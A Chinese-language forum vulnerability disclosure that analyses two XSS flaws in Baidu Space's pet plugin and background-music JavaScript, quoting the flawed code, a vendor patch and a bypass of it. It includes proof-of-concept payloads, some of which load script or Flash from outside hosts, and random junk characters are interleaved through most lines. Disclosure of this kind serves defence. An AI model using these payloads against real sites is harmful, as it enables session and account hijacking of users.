百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
/ W1 V+ p) [3 g; X1 G4 s: B( s$ x" w" r9 J
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. # {& G( g5 v1 v7 {9 D0 Y* o: W) {
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
! V. @9 E; z: Z& N8 y, I* o; F9 `/ p. V3 t' @
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
8 I. |0 i j- q3 L6 s; h其中BdUtil.insertWBR为 + V; q$ B3 t9 y, U
function(text, step) {
% B5 ^" d/ e; h4 v0 ~ var textarea = textAreaCache || getContainer();
5 s+ R6 @( v; u9 H+ a1 V0 I5 ~ if (!textarea) { / h/ g% y" F" L; S5 y2 l+ Z
return text;
% ]5 D2 U0 c- r4 Y7 q } 0 N P" E- n' N: K# m# ]+ \/ T
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 7 }, i# a$ d& c
var string = textarea.value; 4 c4 h V+ c4 B, a
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ' k' M( t6 g. q% h% k- B1 D7 I0 G
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 4 U6 G! N' X2 U& W
return result; + X. p0 f1 F$ n5 j) U$ ~
} # s6 F& v, ?' k: z4 b. `+ V7 Y6 n$ m
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
0 J& P* ?2 g- H- V" p测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> ; M, m& H' |" |8 {7 A
9 p n. T2 x9 |5 V) a: g. Q
二:creatbgmusic() Dom-Xss Bug
2 |' z) l* ?8 ~( C& x7 \百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
- |* C u+ I* |# D0 z/ i2 ~
1 S% K8 \( `) W/ O$ L) c' }在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 5 V. f' N$ S$ t6 a+ N- @
% D" a+ l! U. E! L; A ^% s
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
/ n: z" ?# p8 f0 C8 ? //传入的murl赋值到bgmusic1和bgmusic2中
8 e) {, h& r: r* l4 V G# s0 v //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
1 q& p" F2 j, p2 U& k var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
+ f* o6 k' ]( ?" a0 P% y if (musicnum <= 1) {
6 ^2 X: q3 Y% d5 @1 U bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
# t' K/ j& n; O9 A/ U3 C* }1 S }
4 x8 r. `. [ W bgmusic1 += "</OBJECT>";
: W" |* M4 K& t+ |0 p var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
- q8 V& n; S; s( Z" T1 e2 H- }$ y" | if (musicnum <= 1) { + A; w5 \, C2 I* F& `: D: c
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
2 c4 A% t7 w9 {7 w } : `( O! F; s* s9 F& X
bgmusic2 += "> </EMBED>";
& G6 B! e" ]3 S0 d) Y$ d. D* | var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; * Q6 ~6 O( j% O) N9 O
var bgmus = detectWMP(); 9 h( @/ j; _3 g8 F1 b4 q. v
if (functype == "FckMusicHelper") { ; o' w$ m. G: f6 r3 |7 s
if (bgmus.installed) { 1 Q- m! H# M. y4 I# K5 j
if (bgmus.type == "IE") { - d: U& W6 l3 m4 ?+ B
return bgmusic1;
/ v% ~. ^4 J/ c" x } else if (bgmus.type == "NS") { " o$ k+ P( s& j) ]7 o0 }
return bgmusic2;
$ r; N; t1 W5 q0 j+ S6 {$ W1 A }
5 f. J! ~3 T3 k6 `& M } else { ; s" U1 p4 p- L
return bgmusic3; $ h) ~8 Y1 t' Q
}
0 P/ J( |: b* h1 }& { } else {
0 |+ }7 u. r3 ~( i" H$ B; W6 B if (bgmus.installed) {
% f/ [. Q' h; m! p: [% N //document.write 直接输出bgmusic变量 导致xss + q9 r( |9 X; F4 Y, c6 g
if (bgmus.type == "IE") { 3 C- H9 ?! R. c7 P0 p
document.write(bgmusic1);
4 v* K1 t c4 ?+ I, I% O } else if (bgmus.type == "NS") {
, R( n+ T) d' m document.write(bgmusic2);
# S1 J `$ u6 l |% ^) m7 q# r } ) v" [+ Q! z! Q x2 `/ Y
} else {
( F8 a. w: R; o! d document.write(bgmusic3);
8 x2 H' |& q9 @ } / |7 j0 V2 `/ H
return "";
9 j5 o8 l# T0 m } 7 D4 l$ G. ]! }' k0 L
} 1 z9 j0 c3 c" x' L! Q' I0 n8 i3 L
7 k- x! O1 M# A8 @
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
+ J% |3 b* T& n6 A V: l" |& w/ C& \; |" h4 Y; z/ B& a& x
function initBlogTextForFCK(){ # \2 X& A) A: v' c2 j8 X
//fck init music
2 ~3 N8 L4 A9 t3 C0 P' S: iif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 9 E/ q+ S; Y- L8 y
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
* l" r& g7 {9 V/ V9 ^var isAutoPlay=true;
2 A d- J0 | T5 E3 u' j" pfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
+ c) F# _5 D M" H- o1 o( E9 D: ? var img=imgBox; % ^- i# A( u) w$ i: Z$ J! N& S
if(img.getAttribute(’rel’)){
# O% m- D/ U8 P' @; `; Y var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc $ R1 u. } O% o( N
var musicDiv = document.createElement("SPAN"); ! e2 c5 c! M9 M8 H
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
/ ?% a4 n9 R+ L4 e! q7 O: T ) d5 a* P7 F7 s5 P; g; Y- y
.......................... ; l' N; K- @4 p0 l
9 w3 Q; Q1 A; P
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
. t. r# q7 f# ^, U2 B var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 5 s5 o* s: N; F3 ?9 U; [* j5 L
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); - R: A# K. M3 |# N+ D7 ^
musicDiv.innerHTML=shtml;
6 r0 @$ ^; V! }3 E; U0 j% l0 v i--;n--; 1 x! `( z+ Q# Z9 A
}
~: q9 c" i4 @* `0 w) H& `' ^( l- [/ e} ( z2 P! j2 u* N0 @# N
/ c: e- p' z- f8 o) K( J8 _从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. & D9 J! }: F/ T( @- K4 F1 d
+ N; D/ j' O5 z: ~3 ~" m- o( R# I
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> * U0 {, H/ a$ g! e
% G( I3 L' c/ t0 e- X2 y
等待官方补丁
# t* Z0 c7 D1 m. m0 h' z! M8 N7 k4 O4 l& d
update 2010年5月13日
: Q4 A9 y' N- x) B& R2 q# @5 O! }2 G7 ], L. q# m; D
官方补丁: 3 i- S+ x! O2 q8 _" Z+ V
' ?" A8 F _0 \0 _var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
9 A5 S4 r: A9 b! x改为: 4 ?! x) \- z. @$ u
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); $ k5 X3 z; u8 V6 B2 q
- ]* [6 W6 a" ]+ a- ^: ]8 l
update 2010年5月13日 21:50:37
5 E% C- a7 ?: x0 Y8 C. ]0 O% h' O& J$ I+ q6 k( ~/ v9 G
补丁存在漏洞 没有过滤" 可以继续跨:
1 H0 ^: @- C- c! H; v$ p
9 l% K E8 l! y) e& e) P7 O6 qNEW POC:
" C# q" X+ r2 O" i5 p$ k+ O- A( p9 i
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 9 U+ d" R3 }5 L7 s
, q% r* H1 Q# S; Eallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
! n- r) q" ^- A) Z0 Q( I, i7 d
1 p$ n# f% D8 X5 {4 H |